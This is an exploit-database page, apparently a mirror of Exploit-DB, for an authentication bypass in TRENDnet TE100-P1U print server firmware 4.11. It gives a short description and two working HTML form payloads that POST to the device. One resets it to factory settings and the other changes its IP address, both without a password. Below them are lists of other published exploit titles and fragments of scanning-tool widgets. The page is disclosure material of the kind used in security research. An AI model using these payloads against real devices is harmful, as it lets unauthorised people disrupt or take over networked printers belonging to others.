Menu

Search for hundreds of thousands of exploits

"TRENDnet TE100-P1U Print Server Firmware 4.11 - Authentication Bypass"

Author

Exploit author

Chako

Platform

Exploit platform

hardware

Release date

Exploit published date

2013-06-24

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#############################################################
#
# Exploit Title: TRENDnet TE100-P1U Print Server Firmware 4.11  Authentication Bypass Vulnerability
# Date: 2013/6/20 
# Exploit Author: Chako 
# Firmware Version: 4.11
# Tested on: Windows 7
#############################################################


Description:
=====================
A remote authentication bypass vulnerability affects TRENDnet TE100-P1U Print Server. 
This issue is due to a failure of the application to validate authentication 
credentials when processing print server configuration change requests.
An attacker could reset print server to factory sttings or changeing its IP address without
password security check.

Exploit:
=====================

1)Reset Print Server To Factory Settings

<form action="http://IP/Reply.htm" method="POST">
<table border="0" cellpadding="3" cellspacing="0" width="100%">
<tbody><tr><td class="headerbg">Factory Reset</td></tr>
</tbody></table>
<table bgcolor="#FFFFFF" border="0" cellpadding="5" cellspacing="1" width="100%">
<tbody><tr><td height="50" bgcolor="#F0F0F0"> <span class="bluetextbold">Do you want to restore Print Server to factory default setting?</span></td></tr>
</tbody></table><br> 
<input name="Factory" value=" Yes " type="submit" width="60">
</form>



1)Change Print Server IP Address

<form action="http://IP/Network.htm" method="POST">
<table border="0" cellpadding="3" cellspacing="0" width="100%">
<tbody><tr><td class="headerbg">Change IP Address</td></tr>
</tbody></table>
<table bgcolor="#FFFFFF" border="0" cellpadding="5" cellspacing="1" width="100%">
<tbody><tr>
 <td class="bluetextbold" align="right" bgcolor="#C5CEDA" valign="top" width="150"> IP Address:</td>
 <td bgcolor="#F0F0F0" valign="top">
 <table border="0">
 <tbody><tr><td>
  <input name="IP_ASSIGN" value="1" type="radio">Manually Assign
  <table border="0" cellpadding="3" cellspacing="0">
  <tbody><tr>
   <td width="20"></td><td>IP Address</td>
   <td>:  <input size="18" name="IP_Address" value="192.168.1.110" type="text"></td>
  </tr>
  <tr>
   <td></td><td>Subnet Mask</td>
   <td>:  <input size="18" name="Subnet_Mask" value="255.255.255.0" type="text"></td>
  </tr>
  <tr>
   <td></td><td>Default Gateway</td>
   <td>:  <input size="18" name="Default_Gateway" value="192.168.1.254" type="text"></td>
  </tr>
  </tbody></table>
</td></tr>
 
 </tbody></table>
</td>
</tr>
</tbody></table>
<table border="0" cellpadding="5" cellspacing="1" width="100%">
<tbody><tr>
 <td height="50" width="149"> </td>
 <td width="355"> <input name="Config2" value=" Save " type="submit" width="80">  <input value="Cancel" type="reset" width="80"></td>
</tr>
</tbody></table>
</form>
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-11-30 "ATX MiniCMTS200a Broadband Gateway 2.0 - Credential Disclosure" webapps hardware "Zagros Bingol"
2020-11-30 "Intelbras Router RF 301K 1.1.2 - Authentication Bypass" webapps hardware "Kaio Amaral"
2020-11-27 "Ruckus IoT Controller (Ruckus vRIoT) 1.5.1.0.21 - Remote Code Execution" webapps hardware "Emre SUREN"
2020-11-24 "Seowon 130-SLC router 1.0.11 - 'ipAddr' RCE (Authenticated)" webapps hardware maj0rmil4d
2020-11-23 "TP-Link TL-WA855RE V5_200415 - Device Reset Auth Bypass" webapps hardware malwrforensics
2020-11-19 "Fortinet FortiOS 6.0.4 - Unauthenticated SSL VPN User Password Modification" webapps hardware "Ricardo Longatto"
2020-11-19 "Genexis Platinum 4410 Router 2.1 - UPnP Credential Exposure" remote hardware "Nitesh Surana"
2020-11-16 "Cisco 7937G - DoS/Privilege Escalation" remote hardware "Cody Martin"
2020-11-13 "ASUS TM-AC1900 - Arbitrary Command Execution (Metasploit)" webapps hardware b1ack0wl
2020-11-13 "Citrix ADC NetScaler - Local File Inclusion (Metasploit)" webapps hardware "RAMELLA Sebastien"
Release Date Title Type Platform Author
2017-06-28 "Easy File Sharing Web Server 7.2 - Account Import Local Buffer Overflow (SEH)" local windows Chako
2017-06-28 "Easy File Sharing Web Server 7.2 - Unrestricted File Upload" webapps windows Chako
2014-12-17 "CIK Telecom VoIP Router SVG6000RW - Privilege Escalation / Command Execution" webapps hardware Chako
2013-07-01 "FileCOPA FTP Server - Remote Denial of Service" dos multiple Chako
2013-07-01 "C.P.Sub 4.5 - Authentication Bypass" webapps php Chako
2013-06-30 "PCMan FTP Server 2.0 - Remote Buffer Overflow" remote windows Chako
2013-06-26 "Baby FTP Server 1.24 - Denial of Service (1)" dos windows Chako
2013-06-24 "FtpLocate - HTML Injection" webapps cgi Chako
2013-06-24 "TRENDnet TE100-P1U Print Server Firmware 4.11 - Authentication Bypass" webapps hardware Chako
2013-06-19 "MusicBee 2.0.4663 - '.m3u' Denial of Service" dos windows Chako
2013-06-17 "Simple File Manager 024 - Authentication Bypass" webapps php Chako
2013-06-11 "Sami FTP Server 2.0.1 - RETR Denial of Service" dos windows Chako 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected